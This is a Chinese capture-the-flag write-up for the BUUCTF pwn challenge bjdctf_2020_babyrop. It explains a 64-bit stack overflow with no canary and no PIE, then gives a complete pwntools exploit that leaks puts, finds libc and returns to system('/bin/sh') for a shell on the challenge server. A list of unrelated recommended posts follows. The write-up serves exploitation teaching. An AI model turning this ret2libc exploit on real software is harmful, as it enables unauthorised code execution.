buuctf pwn bjdctf_2020_babyrop

  • 1.checksec
  • 2.IDA分析
    • ropper
  • 3.exp

1.checksec

  • 运行一下

2.IDA分析

  • 这里调用了vuln函数
  • 我们接着看一下vuln函数
  • buf只有32,但是我们可以写64
  • 很明显的溢出
  • 本程序没开PIE
  • 没开canary
  • 再看一下有没有后门函数
  • 没有"/bin/sh"
  • 没有system()函数
  • 那么就要通过泄露函数地址来计算libc的基地址了
  • 64位程序在传参的时候需要用到寄存器
  • 当参数少于7个时, 参数从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9。
  • 当参数为7个以上时,后面的依次从 “右向左” 放入栈中。
  • 设置rdi寄存器的指令

ropper

3.exp

from pwn import *
from LibcSearcher import *r = remote('node3.buuoj.cn',28514)
elf = ELF('./bjdctf_2020_babyrop')
context.log_level = 'debug'main = elf.sym['main']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi = 0x0000000000400733
# 这个题目的输出函数是puts()所以传参只需要传一个
payload = b'a' * (0x20+8) + p64(pop_rdi) + p64(puts_got) +p64(puts_plt) + p64(main)
r.recvuntil('Pull up your sword and tell me u story!')
r.sendline(payload)
r.recv()
puts_addr = u64(r.recv(6).ljust(8,'\x00'))
libc = LibcSearcher('puts',puts_addr)
#计算system和bin/sh的实际地址
offset = puts_addr-libc.dump('puts')
system = offset+libc.dump('system')
bin_sh = offset+libc.dump('str_bin_sh')payload=b'a' * (0x20+8) + p64(pop_rdi) + p64(bin_sh) + p64(system)
r.recvuntil('Pull up your sword and tell me u story!')
r.sendline(payload)r.interactive()

buuctf pwn bjdctf_2020_babyrop相关推荐

  1. 持续更新 BUUCTF——PWN(一)

    文章目录 前言 test_your_nc rip warmup_csaw_2016 ciscn_2019_n_1 pwn1_sctf_2016 jarvisoj_level0 [第五空间2019 决赛 ...

  2. BUUCTF Pwn warmup

    BUUCTF Pwn warmup 1.题目下载地址 2.checksec检查保护 3.IDA静态分析 4.exp 1.题目下载地址 点击下载题目 2.checksec检查保护 啥都没开,果然是war ...

  3. BUUCTF PWN rip1 WP

    BUUCTF   PWN   rip 1 这是一个WP,也是一个自己练习过程的记录. 先把文件放入pwn机中检查一下,发现并没有开启保护,所以应该是一道简单题 我们运行一下试试,它让你输入一段字符然后 ...

  4. 持续更新 BUUCTF——PWN(二)

    文章目录 前言 0ctf_2017_babyheap ciscn_2019_s_9 hitcon2014_stkof roarctf_2019_easy_pwn picoctf_2018_shellc ...

  5. 持续更新 BUUCTF——PWN(三)

    文章目录 前言 axb_2019_heap oneshot_tjctf_2016 护网杯_2018_gettingstart wustctf2020_number_game zctf2016_note ...

  6. Buuctf(pwn) picoctf_2018_rop chain 栈溢出

    32位,开启了NX保护 利用思路 首先溢出后覆盖ret为function1函数地址,将win1赋值为1,之后跳转到function2的地址,a1是传入的参数,将a1传入即可满足条件去设置win2的值为 ...

  7. BUUCTF(pwn) jarvisoj_level4 栈溢出,泄露libc

    思路 我们没有system和'/bin/sh'地址.也不知道libc版本, 我们可以先leek出来一个地址, 利用偏移找到system和'/bin/sh'地址.再返回main进行循环调用,第二次就可以 ...

  8. Buuctf(pwn) jarvisoj_tell_me_something 栈溢出

    64位程序,开启了NX保护 400620 from pwn import *r=remote('node4.buuoj.cn',29273)flag_addr=0x400620payload='a'* ...

  9. Buuctf(pwn) ez_pz_hackover_2016 泄露栈地址,retshellcode;调试计算

    32位,开启了RELRO保护,堆栈地址随机化 没有开启nx保护,可利用写入shellcode来获取shell 一开始给我们输出了参数s的地址 strcmp函数: 两个字符串自左向右逐个字符相比(按AS ...

最新文章

  1. Extjs 打包 failed to find any files
  2. 【转】启动 Eclipse 弹出“Failed to load the JNI shared library jvm.dll”错误的解决方法!...
  3. UGUI的优点新UI系统
  4. 用matlab绘制抛物线y的x平方,我刚刚学习MATLAB,想画一下(x^2+y^2-1)^3=x^2*y^3这个曲线的图像,该怎么画呢,谢谢大家了。...
  5. java如何调用系统保存框_java使用poi实现excel导出之后如何弹出保存提示框
  6. 支付宝支付-提现到个人支付宝
  7. MySQL Table--独立表空间
  8. RISC-V,芯片中的网红战斗机,究竟是个什么鬼
  9. php 5.6.27 在某些机器上正常,thinkphp5开发的网站出现”No input file specified”(php版本5.6.27)...
  10. android安卓源码海量项目合集大全打包6000套-2续
  11. 软考初级程序员---题目(六)
  12. 安装VS2010 SP1与ASP.NET MVC4详细步骤
  13. C# 使用OpenXML创建PPT表格
  14. 【程序设计与实践】实验四:自动寄存柜(C语言)
  15. 治疗失眠的中医食疗方
  16. linux 挂载fat32格式u盘
  17. 云更新服务器更新不了最新游戏,成都领沃_云更新官方网站
  18. 六月集训(第17天) —— 广度优先搜索
  19. pca , nmds , pcoa 图添加分组的椭圆
  20. Zigbee网络架构

热门文章

  1. ChatGPT专业应用:撰写英文SEO文章
  2. Linux系统中文件被删除后的恢复方法(ext4)
  3. 有序单链表转BST树+时间复杂度要求O(n)
  4. 小程序与MySQL数据库的交互_小程序是如何与数据库交互的?
  5. 【AD封装】KF2EDGK系列2.54接线端子(带3D)
  6. 还在被大妈灵魂拷问?使用Python轻松完成垃圾分类!
  7. 雪松控股如何通过一个“数观平台”支持集团全业务的数据化运营?
  8. python播放视频代码_Python中操作各种多媒体,视频、音频到图片的代码详解
  9. 资本爱上智能健身镜?
  10. 【可视化】Power Map实现大数据可视化操作